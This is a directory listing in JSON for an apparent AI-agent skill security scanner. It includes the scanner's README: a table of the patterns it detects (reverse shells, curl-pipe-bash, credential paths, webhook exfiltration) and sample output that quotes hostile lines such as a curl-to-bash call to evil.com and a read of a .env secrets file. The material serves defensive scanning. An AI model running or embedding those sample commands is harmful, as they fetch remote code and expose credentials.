{"id":"2f9558d7-2d6a-4238-95dc-f531bc932d5a","entityType":"agent","slug":"clawhub-skills-amir-ag-clawhub-skill-scanner","name":"clawhub-skill-scanner","canonicalUrl":"https://www.xpersona.co/agent/clawhub-skills-amir-ag-clawhub-skill-scanner","canonicalPath":"/agent/clawhub-skills-amir-ag-clawhub-skill-scanner","generatedAt":"2026-10-09T23:28:16.621Z","source":"CLAWHUB","claimStatus":"UNCLAIMED","verificationTier":"NONE","summary":{"evidence":{"source":"editorial-content","verified":true,"confidence":"high","updatedAt":"2026-04-15T00:45:39.800Z","emptyReason":null},"description":"Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\", \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFORE installation. --- name: clawhub-skill-scanner description: > Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\", \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFO","descriptionLabel":"Technical summary","evidenceSummary":"Capability contract not published. No trust telemetry is available yet. Last updated 4/15/2026.","installCommand":"clawhub skill install skills:amir-ag:clawhub-skill-scanner","sourceUrl":"https://github.com/openclaw/skills/tree/main/skills/amir-ag/clawhub-skill-scanner","homepage":null,"primaryLinks":[{"label":"View on ClawHub","url":"https://github.com/openclaw/skills/tree/main/skills/amir-ag/clawhub-skill-scanner","kind":"source"}],"safetyScore":84,"overallRank":62,"popularityScore":50,"trustScore":null,"claimedByName":null,"isOwner":false,"seoDescription":"Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to det"},"coverage":{"evidence":{"source":"public-profile","verified":false,"confidence":"medium","updatedAt":"2026-04-15T00:45:39.800Z","emptyReason":null},"protocols":[{"protocol":"OPENCLEW","label":"OpenClaw","status":"self-declared","notes":"Declared in the public agent profile."}],"capabilities":[{"label":"a","status":"self-declared"},{"label":"before","status":"self-declared"},{"label":"python3","status":"self-declared"}],"verifiedCount":0,"selfDeclaredCount":4,"capabilityMatrix":{"rows":[{"key":"OPENCLEW","type":"protocol","support":"unknown","confidenceSource":"profile","notes":"Listed on profile"},{"key":"a","type":"capability","support":"supported","confidenceSource":"profile","notes":"Declared in agent profile metadata"},{"key":"before","type":"capability","support":"supported","confidenceSource":"profile","notes":"Declared in agent profile metadata"},{"key":"python3","type":"capability","support":"supported","confidenceSource":"profile","notes":"Declared in agent profile metadata"}],"flattenedTokens":"protocol:OPENCLEW|unknown|profile capability:a|supported|profile capability:before|supported|profile capability:python3|supported|profile"}},"adoption":{"evidence":{"source":"no-adoption-signals","verified":false,"confidence":"low","updatedAt":"2026-04-15T00:45:39.800Z","emptyReason":"No source adoption metrics were available."},"stars":null,"forks":null,"downloads":null,"packageName":null,"latestVersion":null,"tractionLabel":null},"release":{"evidence":{"source":"agent-index","verified":false,"confidence":"medium","updatedAt":"2026-02-25T03:36:05.780Z","emptyReason":null},"lastUpdatedAt":"2026-04-15T00:45:39.800Z","lastCrawledAt":"2026-02-25T03:36:05.780Z","lastIndexedAt":null,"nextCrawlAt":"2026-02-26T03:36:05.780Z","lastVerifiedAt":null,"highlights":[]},"execution":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No published capability contract is available yet."},"installCommand":"clawhub skill install skills:amir-ag:clawhub-skill-scanner","setupComplexity":"low","setupSteps":["Setup complexity is LOW. This package is likely designed for quick installation with minimal external side-effects.","Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data."],"contract":{"contractStatus":"missing","authModes":[],"requires":[],"forbidden":[],"supportsMcp":false,"supportsA2a":false,"supportsStreaming":false,"inputSchemaRef":null,"outputSchemaRef":null,"dataRegion":null,"contractUpdatedAt":null,"sourceUpdatedAt":null,"freshnessSeconds":null},"invocationGuide":{"preferredApi":{"snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/trust"},"curlExamples":["curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/snapshot\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/contract\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/trust\""],"jsonRequestTemplate":{"query":"summarize this repo","constraints":{"maxLatencyMs":2000,"protocolPreference":["OPENCLEW"]}},"jsonResponseTemplate":{"ok":true,"result":{"summary":"...","confidence":0.9},"meta":{"source":"CLAWHUB","generatedAt":"2026-10-09T23:28:16.620Z"}},"retryPolicy":{"maxAttempts":3,"backoffMs":[500,1500,3500],"retryableConditions":["HTTP_429","HTTP_503","NETWORK_TIMEOUT"]}},"endpoints":{"dossierUrl":"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/dossier","snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-skills-amir-ag-clawhub-skill-scanner/trust"}},"reliability":{"evidence":{"source":"runtime-metrics","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No trust, reliability, or runtime telemetry is available."},"trust":{"status":"unavailable","handshakeStatus":"UNKNOWN","verificationFreshnessHours":null,"reputationScore":null,"p95LatencyMs":null,"successRate30d":null,"fallbackRate":null,"attempts30d":null,"trustUpdatedAt":null,"trustConfidence":"unknown","sourceUpdatedAt":null,"freshnessSeconds":null},"decisionGuardrails":{"doNotUseIf":["Contract metadata is missing or unavailable for deterministic execution."],"safeUseWhen":[],"riskFlags":["missing_or_unavailable_contract","trust_data_unavailable","schema_references_missing"],"operationalConfidence":"low"},"executionMetrics":{"observedLatencyMsP50":null,"observedLatencyMsP95":null,"estimatedCostUsd":null,"uptime30d":null,"rateLimitRpm":null,"rateLimitBurst":null,"lastVerifiedAt":null,"verificationSource":null},"runtimeMetrics":{"successRate":null,"avgLatencyMs":null,"avgCostUsd":null,"hallucinationRate":null,"retryRate":null,"disputeRate":null,"p50Latency":null,"p95Latency":null,"lastUpdated":null}},"benchmarks":{"evidence":{"source":"no-benchmark-data","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No benchmark suites or observed failure patterns are available."},"suites":[],"failurePatterns":[]},"artifacts":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"high","updatedAt":"2026-04-15T00:45:39.800Z","emptyReason":null},"readme":"---\nname: clawhub-skill-scanner\ndescription: >\n  Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub,\n  GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential\n  access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\",\n  \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFORE installation.\n\n---\n\n# Skill Security Audit\n\n**MANDATORY** security check before installing external skills.\n\nInspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.\n\n## When to Use\n\nRun this audit **BEFORE** any skill installation:\n- `clawhub install <skill>`\n- Manual skill download/copy\n- Skills from GitHub, URLs, or untrusted sources\n\n## Quick Start\n\n```bash\n# Scan a skill folder\npython3 scripts/scan_skill.py /path/to/skill\n\n# JSON output for automation\npython3 scripts/scan_skill.py /path/to/skill --json\n\n# Exit code 0 only if SAFE\npython3 scripts/scan_skill.py /path/to/skill --install-if-safe\n```\n\n## What It Detects\n\n### 🔴 CRITICAL (Blocks Installation)\n\n| Category | Patterns |\n|----------|----------|\n| **Reverse Shells** | `nc -e`, `bash /dev/tcp`, Python socket shells |\n| **Curl-Pipe-Bash** | `curl \\| bash`, `wget && chmod +x` |\n| **Credential Access** | ~/.ssh, ~/.aws, ~/.openclaw, .env files |\n| **Data Exfiltration** | Discord/Slack webhooks, POST with secrets |\n| **Malicious Domains** | glot.io, pastebin (known malware hosts) |\n| **Persistence** | crontab, systemd, LaunchAgents, .bashrc |\n| **Command Injection** | eval(), exec(), subprocess shell=True |\n| **Obfuscation** | base64 decode pipes, pickle, marshal |\n\n### 🟡 WARNING (Review Required)\n\nOnly patterns that are suspicious regardless of skill type:\n- Raw socket usage (unusual for most skills)\n- Dynamic code compilation\n- File/directory deletion\n- Screenshot/keyboard capture libraries\n- Low-level system calls (ctypes)\n\n### Philosophy\n\nWe intentionally **don't warn** on common patterns like:\n- HTTP requests (normal for API skills)\n- API key references (normal for integration skills)\n- File writes (normal for data skills)\n- Environment variable access (normal for config)\n\nThis reduces noise so real threats stand out.\n\n## Risk Scoring\n\n```\nCRITICAL findings × 30 = Base score\nWARNING findings × 3 (capped at 10) = Warning contribution\n```\n\n| Score | Level | Action |\n|-------|-------|--------|\n| 0-20 | 🟢 SAFE | Auto-approve |\n| 21-50 | 🟡 CAUTION | Review findings |\n| 51-80 | 🔶 DANGER | Detailed review required |\n| 81-100 | 🔴 BLOCKED | Do NOT install |\n\n## Sample Output\n\n```\n════════════════════════════════════════════════════════════\n  SKILL SECURITY AUDIT: suspicious-skill\n════════════════════════════════════════════════════════════\n\n📊 RISK SCORE: 90/100 - 🔴 BLOCKED\n\n🔴 CRITICAL FINDINGS (3)\n  [install.py:15] Curl pipe to shell (DANGEROUS!)\n    Code: os.system('curl https://evil.com/x.sh | bash')\n  [setup.py:42] Discord webhook exfiltration\n    Code: requests.post('https://discord.com/api/webhooks/...')\n  [run.py:8] ClawdBot .env access (ClawHavoc target!)\n    Code: open(os.path.expanduser('~/.clawdbot/.env'))\n\n📁 FILES SCANNED: 5\n📏 TOTAL LINES: 230\n\n════════════════════════════════════════════════════════════\n  🔴 BLOCK - Do NOT install this skill\n════════════════════════════════════════════════════════════\n```\n\n## Integration with clawhub\n\nCreate a wrapper script to auto-scan before installation:\n\n```bash\n#!/bin/bash\n# clawhub-secure: Scan before install\n\nSKILL=\"$2\"\nTEMP=\"/tmp/skill-audit-$$\"\n\n# Fetch without installing\nclawhub inspect \"$SKILL\" --out \"$TEMP\"\n\n# Scan\npython3 /path/to/scan_skill.py \"$TEMP\" --install-if-safe\nif [ $? -eq 0 ]; then\n    clawhub install \"$SKILL\"\nelse\n    echo \"🔴 Installation blocked by security scan\"\n    exit 1\nfi\n\nrm -rf \"$TEMP\"\n```\n\n## References\n\nSee `references/threat-patterns.md` for detailed pattern explanations.\n\n## Credits\n\nDeveloped in response to the ClawHavoc campaign (Feb 2026) that demonstrated\nlarge-scale supply chain attacks via AI agent skill marketplaces.\n","readmeExcerpt":"--- name: clawhub-skill-scanner description: > Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\", \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFO","codeSnippets":[],"executableExamples":[{"language":"bash","snippet":"# Scan a skill folder\npython3 scripts/scan_skill.py /path/to/skill\n\n# JSON output for automation\npython3 scripts/scan_skill.py /path/to/skill --json\n\n# Exit code 0 only if SAFE\npython3 scripts/scan_skill.py /path/to/skill --install-if-safe"},{"language":"text","snippet":"CRITICAL findings × 30 = Base score\nWARNING findings × 3 (capped at 10) = Warning contribution"},{"language":"text","snippet":"════════════════════════════════════════════════════════════\n  SKILL SECURITY AUDIT: suspicious-skill\n════════════════════════════════════════════════════════════\n\n📊 RISK SCORE: 90/100 - 🔴 BLOCKED\n\n🔴 CRITICAL FINDINGS (3)\n  [install.py:15] Curl pipe to shell (DANGEROUS!)\n    Code: os.system('curl https://evil.com/x.sh | bash')\n  [setup.py:42] Discord webhook exfiltration\n    Code: requests.post('https://discord.com/api/webhooks/...')\n  [run.py:8] ClawdBot .env access (ClawHavoc target!)\n    Code: open(os.path.expanduser('~/.clawdbot/.env'))\n\n📁 FILES SCANNED: 5\n📏 TOTAL LINES: 230\n\n════════════════════════════════════════════════════════════\n  🔴 BLOCK - Do NOT install this skill\n════════════════════════════════════════════════════════════"},{"language":"bash","snippet":"#!/bin/bash\n# clawhub-secure: Scan before install\n\nSKILL=\"$2\"\nTEMP=\"/tmp/skill-audit-$$\"\n\n# Fetch without installing\nclawhub inspect \"$SKILL\" --out \"$TEMP\"\n\n# Scan\npython3 /path/to/scan_skill.py \"$TEMP\" --install-if-safe\nif [ $? -eq 0 ]; then\n    clawhub install \"$SKILL\"\nelse\n    echo \"🔴 Installation blocked by security scan\"\n    exit 1\nfi\n\nrm -rf \"$TEMP\""}],"parameters":{},"dependencies":[],"permissions":[],"extractedFiles":[],"languages":["typescript"],"docsSourceLabel":"CLAWHUB","editorialOverview":"Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\", \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFORE installation. --- name: clawhub-skill-scanner description: > Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\", \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFO","editorialQuality":{"score":100,"threshold":65,"status":"ready","wordCount":415,"uniquenessScore":58,"reasons":[]}},"media":{"evidence":{"source":"no-media","verified":false,"confidence":"low","updatedAt":"2026-04-15T00:45:39.800Z","emptyReason":"No screenshots, media assets, or demo links are available."},"primaryImageUrl":null,"mediaAssetCount":0,"assets":[],"demoUrl":null},"ownerResources":{"evidence":{"source":"unclaimed","verified":false,"confidence":"low","updatedAt":"2026-04-15T00:45:39.800Z","emptyReason":"This page has not been claimed by the agent owner."},"hasCustomPage":false,"customPageUpdatedAt":null,"customLinks":[],"structuredLinks":{"docsUrl":null,"demoUrl":null,"supportUrl":null,"pricingUrl":null,"statusUrl":null},"customPage":null},"relatedAgents":{"evidence":{"source":"protocol-neighbors","verified":false,"confidence":"medium","updatedAt":"2026-10-09T23:28:16.621Z","emptyReason":null},"items":[{"id":"8ebccd8e-3863-4187-8355-c3f14e1f9edf","entityType":"agent","canonicalPath":"/agent/iofficeai-aionui","slug":"iofficeai-aionui","name":"AionUi","description":"Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | 🌟 Star if you like it!","url":"https://github.com/iOfficeAI/AionUi","homepage":"https://www.aionui.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-10-09T19:11:12.944Z","createdAt":"2026-02-25T03:38:16.584Z","downloads":null},{"id":"b917f68a-ebff-438e-84f8-3f4b2494c0bc","entityType":"agent","canonicalPath":"/agent/activepieces-activepieces","slug":"activepieces-activepieces","name":"activepieces","description":"AI Agents & MCPs & AI Workflow Automation • (~400 MCP servers for AI agents) • AI Automation / AI Agent with MCPs • AI Workflows & AI Agents • MCPs for AI Agents","url":"https://github.com/activepieces/activepieces","homepage":"https://www.activepieces.com","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-15T02:22:12.426Z","createdAt":"2026-02-25T03:38:12.412Z","downloads":null},{"id":"5cb26759-3a39-483f-94cf-276a98c13bb8","entityType":"agent","canonicalPath":"/agent/cherryhq-cherry-studio","slug":"cherryhq-cherry-studio","name":"cherry-studio","description":"AI productivity studio with smart chat, autonomous agents, and 300+ assistants. Unified access to frontier LLMs","url":"https://github.com/CherryHQ/cherry-studio","homepage":"https://cherry-ai.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-11T14:38:40.986Z","createdAt":"2026-02-25T03:38:19.379Z","downloads":null},{"id":"6f6582d0-5d76-4f0f-b81d-86520247950b","entityType":"agent","canonicalPath":"/agent/copilotkit-copilotkit","slug":"copilotkit-copilotkit","name":"CopilotKit","description":"The Frontend for Agents & Generative UI. React + Angular","url":"https://github.com/CopilotKit/CopilotKit","homepage":"https://docs.copilotkit.ai","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-03-25T09:50:57.846Z","createdAt":"2026-02-25T03:39:14.617Z","downloads":null}],"links":{"hub":"/agent","source":"/agent/source/clawhub","protocols":[{"label":"OpenClaw","href":"/agent/protocol/openclew"}]}}}